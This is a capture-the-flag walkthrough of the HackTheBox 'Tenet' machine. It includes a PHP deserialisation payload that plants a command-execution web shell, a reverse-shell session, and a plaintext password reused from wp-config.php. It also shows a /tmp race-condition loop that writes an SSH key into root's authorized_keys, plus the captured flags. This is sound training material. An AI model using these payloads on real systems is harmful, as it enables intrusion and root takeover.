• Tenet is a Medium difficulty machine that features an Apache web server. It contains a Wordpress blog with a few posts. One of the comments on the blog mentions the presence of a PHP file along with it’s backup. It is possible after identificaiton of the backup file to review it’s source code. The code in PHP file is vulnerable to an insecure deserialisation vulnerability and by successful exploiting it a foothold on the system is achieved. While enumerating the system it was found that the Wordpress configuration file can be read and thus gaining access to a set of credentials. By using them we can move laterally from user www-data to user Neil. Further system enumeration reveals that this user have root permissions to run a bash script through sudo. The script is writing SSH public keys to the authorized_keys file of the root user and is vulnerable to a race condition. After successful exploitation, attackers can write their own SSH keys to the authorized_keys file and use them to login to the system as root.

PortScan

cat ../nmap/targeted
# Nmap 7.94SVN scan initiated Wed Jul  3 16:55:09 2024 as: nmap -sCV -p22,80 -oN targeted 10.10.10.223
Nmap scan report for 10.10.10.223
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • We see that a Wordpress is being used as a content management system.
cat ../nmap/webScan
# Nmap 7.94SVN scan initiated Wed Jul  3 16:57:31 2024 as: nmap --script=http-enum -p80 -oN webScan 10.10.10.223
Nmap scan report for 10.10.10.223
Host is up (0.11s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|_  /wordpress/wp-login.php: Wordpress login page.

Enumeration

  • We see the technologies that are being used in the web service.
 whatweb http://10.10.10.223
http://10.10.10.223 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.223], Title[Apache2 Ubuntu Default Page: It works]
  • If we go to see the web page as such we find this.

  • But if we go to the route reported by Nmap we can see the Wordpress.

  • We can see the subdomain tenet.htb.

  • So what we are going to do is to add it to /etc/hosts so that the resources are displayed correctly.
echo "10.10.10.223 tenet.htb" | sudo tee -a /etc/hosts
10.10.10.223 tenet.htb
  • Now it works.

  • We are going Fuzzing to see if we can find any interesting routes.
❯ gobuster dir -u http://tenet.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --no-error -x php -s 200
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://tenet.htb/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/07/25 19:56:01 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 301) [Size: 0] [--> http://tenet.htb/]
/wp-content           (Status: 301) [Size: 311] [--> http://tenet.htb/wp-content/]
/wp-login.php         (Status: 200) [Size: 6534]                                  
/wp-includes          (Status: 301) [Size: 312] [--> http://tenet.htb/wp-includes/]
/wp-trackback.php     (Status: 200) [Size: 135]                                    
/wp-admin             (Status: 301) [Size: 309] [--> http://tenet.htb/wp-admin/]   
/xmlrpc.php           (Status: 405) [Size: 42]                                     
/wp-signup.php        (Status: 302) [Size: 0] [--> http://tenet.htb/wp-login.php?action=register]
/server-status        (Status: 403) [Size: 274]                                                  
                                                                                                 
===============================================================
2024/07/03 18:07:30 Finished
===============================================================
  • They are the typical wordpress routes but here we find something interesting.

  • Version 5.6.

  • We see the file.

  • We don’t see anything interesting so far let’s fuzzing but now to search for subdomains.
❯ gobuster vhost -u http://tenet.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://tenet.htb
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2024/07/03 18:30:50 Starting gobuster in VHOST enumeration mode
===============================================================
Found: www.tenet.htb (Status: 301) [Size: 0]
  • We add it to /etc/hosts.
cat /etc/hosts | tail -n 1
10.10.10.223 tenet.htb www.tenet.htb
  • But it redirects us to the domain that we already have.

  • If we analyze a post of those on the web there is one which is called Migration and if we analyze it we see that there is a comment from the user neil.

  • There is a path called sator.php.
❯ curl -s http://tenet.htb/sator.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at tenet.htb Port 80</address>
</body></html>
  • If we try setting the IP we can see that the situation changes.
❯ curl -s http://10.10.10.223/sator.php
[+] Grabbing users from text file <br>
[] Database updated <br>
  • Something that was mentioned in the comments was about a backup so if we add to the path we have .bak we see that it exists as such.
❯ curl -s http://10.10.10.223/sator.php.bak
<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

Shell as www-data

PHP Deserialization Attack

  • Well as such they are letting us control our input which is processed by GET and as such is not applying sanitization and as such is employing the arepo parameter we are going to create a serealized data.

  • We are going to create a script in php to give us the serialized data since by means of the cmd parameter we are going to execute commands.

❯ catn serialize.php
<?php
class DatabaseExport
{
        public $user_file = 'xd.php';
        public $data = '<?php system($_REQUEST["cmd"]); ?>';
}

$pwned = new DatabaseExport;
echo serialize($pwned);
?>
  • If we execute it we get the object serealized.
❯ php serialize.php 2>/dev/null; echo
O:14:"DatabaseExport":2:{s:9:"user_file";s:6:"xd.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
  • We are going to send it all the data through the arepo parameter which is not sanitized and will interpret what we pass it since it is going to be derealized.
❯ curl -s -X GET -G "http://10.10.10.223/sator.php" --data-urlencode 'arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:6:"xd.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}'; echo
[+] Grabbing users from text file <br>
[] Database updated <br>[] Database updated <br>
  • We see that the xd.php file that we defined in the script was created correctly.

  • And now we can execute commands.

  • Now we gain access to the system by sending us a reverse shell..

  • Now we receive the shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.10.223] 49860
bash: cannot set terminal process group (1678): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/var/www/html$ whoami
whoami
www-data
www-data@tenet:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@tenet:/var/www/html$ ^Z
[1]  + 37998 suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + 37998 continued  nc -nlvp 443
                                    reset xterm
ENTER
www-data@tenet:/var/www/html$ export TERM=xterm

neil shell

  • We found credentials..
www-data@tenet:/var/www/html/wordpress$ ls -la
total 228
drwxr-xr-x  5 www-data www-data  4096 Jul  3 22:57 .
drwxr-xr-x  3 www-data www-data  4096 Jul  4 00:32 ..
-rw-r--r--  1 www-data www-data   405 Feb  6  2020 index.php
-rw-r--r--  1 www-data www-data 19915 Feb 12  2020 license.txt
-rw-r--r--  1 www-data www-data  7278 Jun 26  2020 readme.html
-rw-r--r--  1 www-data www-data  7101 Jul 28  2020 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Dec  8  2020 wp-admin
-rw-r--r--  1 www-data www-data   351 Feb  6  2020 wp-blog-header.php
-rw-r--r--  1 www-data www-data  2328 Oct  8  2020 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2913 Feb  6  2020 wp-config-sample.php
-rw-r--r--  1 www-data www-data  3185 Jan  7  2021 wp-config.php
drwxr-xr-x  5 www-data www-data  4096 Jul  3 22:57 wp-content
-rw-r--r--  1 www-data www-data  3939 Jul 30  2020 wp-cron.php
drwxr-xr-x 25 www-data www-data 12288 Dec  8  2020 wp-includes
-rw-r--r--  1 www-data www-data  2496 Feb  6  2020 wp-links-opml.php
-rw-r--r--  1 www-data www-data  3300 Feb  6  2020 wp-load.php
-rw-r--r--  1 www-data www-data 49831 Nov  9  2020 wp-login.php
-rw-r--r--  1 www-data www-data  8509 Apr 14  2020 wp-mail.php
-rw-r--r--  1 www-data www-data 20975 Nov 12  2020 wp-settings.php
-rw-r--r--  1 www-data www-data 31337 Sep 30  2020 wp-signup.php
-rw-r--r--  1 www-data www-data  4747 Oct  8  2020 wp-trackback.php
-rw-r--r--  1 www-data www-data  3236 Jun  8  2020 xmlrpc.php
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'WP_HOME', 'http://tenet.htb');
define( 'WP_SITEURL', 'http://tenet.htb');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'QiuK;~(mBy7H3y8G;*|^*vGekSuuxKV$:Tc>5qKr`T}(t?+`r.+`gg,Ul,=!xy6d' );
define( 'SECURE_AUTH_KEY',  'x3q&hwYy]:S{l;jDU0D&./@]GbBz(P~}]y=3deqO1ZB/`P:GU<tJ[v)4><}wl_~N' );
define( 'LOGGED_IN_KEY',    'JrJ_u34gQ3(x7y_Db8`9%@jq<;{aqQk(Z+uZ|}M,l?6.~Fo/~Tr{0bJIW?@.*|Nu' );
define( 'NONCE_KEY',        '=z0ODLKO{9K;<,<gT[f!y_*1QgIc;#FoN}pvHNP`|hi/;cwK=vCwcC~nz&0:ajW#' );
define( 'AUTH_SALT',        '*.;XACYRMNvA?.r)f~}+A,eMke?/i^O6j$vhZA<E5Vp#N[a{YL TY^-Q[X++u@Ab' );
define( 'SECURE_AUTH_SALT', 'NtFPN?_NXFqW-Bm6Jv,v-KkjS^8Hz@BIcxc] F}(=v1$B@F/j(`b`7{A$T{DG|;h' );
define( 'LOGGED_IN_SALT',   'd14m0mBP eIawFxLs@+CrJz#d(88cx4||<6~_U3F=aCCiyN|]Hr{(mC5< R57zmn' );
define( 'NONCE_SALT',       'Srtt&}(~:K(R(q(FMK<}}%Zes!4%!S`V!KSk)Rlq{>Y?f&b`&NW[INM2,a9Zm,SH' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php'; 
  • The credentials are for the database but as such if we try to migrate to the neil user we see that Opera2112 works.
www-data@tenet:/var/www/html/wordpress$ su neil
Password: 
neil@tenet:/var/www/html/wordpress$ whoami
neil
neil@tenet:/var/www/html/wordpress$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:/var/www/html/wordpress$ 

User.txt

  • Here we can see the first flag.
neil@tenet:~$ cat user.txt
0b85a9967e410892bb32b0628e11989f
neil@tenet:~$

Privilege Escalation

  • We have this privilege at the sudoers level.
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
neil@tenet:~$ 
  • If we run it we see this.
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$ 
  • We see this.
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash

checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"

	else

		/bin/echo "Error in adding $sshName to authorized_keys file!"

	fi

}

checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1

	fi

}

addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
neil@tenet:~$ 

  • If we look at the script and execute this which stores tmpName it creates a temporary value.
neil@tenet:~$ mktemp -u /tmp/ssh-XXXXXXXX
/tmp/ssh-ui1c8x0m
neil@tenet:~$ mktemp -u /tmp/ssh-XXXXXXXX
/tmp/ssh-KH7vkHSO
  • The first thing we are going to do is to create a key pair.
❯ ssh-keygen -f /root/id_rsa -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /root/id_rsa
Your public key has been saved in /root/id_rsa.pub
The key fingerprint is:
SHA256:LL4/EFhSOqu9HhJp6tvZ64JW0lJtanWVb1PbNdMymQk root@miguelos
The key's randomart image is:
+--[ED25519 256]--+
|     ..   . E. +.|
|    ...  o   .*oo|
|    ++  . . . oo+|
|   o.*.o   + . . |
|  * = o.S . .    |
| = O ...         |
|. O o ..         |
|.o.ooo ..        |
|.o.+=+o...       |
+----[SHA256]-----+
  • Now we copy it.
cat id_rsa.pub | tr -d '\n' | xclip -sel clip
  • And we run a loop with our public key.
neil@tenet:~$ while true; do for filename in /tmp/ssh-*; do echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEiM/fMXvCoQX988QWZre1S9ZG5Kguv/ root@miguelos" > $filename;done; done
  • Now from another window we connect via SSH.
❯ ssh neil@10.10.10.223
The authenticity of host '10.10.10.223 (10.10.10.223)' can't be established.
ED25519 key fingerprint is SHA256:atDC5N+fRDvKKwKE6Y6GZN4MdRAr5aHD24UsVrZ4+ts.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.223' (ED25519) to the list of known hosts.
neil@10.10.10.223's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jul  4 01:04:47 UTC 2024

  System load:  0.95               Processes:             178
  Usage of /:   15.3% of 22.51GB   Users logged in:       0
  Memory usage: 11%                IP address for ens160: 10.10.10.223
  Swap usage:   0%


53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable


Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3
neil@tenet:~$ export TERM=xterm
neil@tenet:~$
  • And we execute.
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh

Shell as root and root.txt

  • After several attempts we succeeded login with ssh because it is a race condition.
root@tenet:~# cat /root/root.txt
74e3750ae90e0db4c09df869028cabca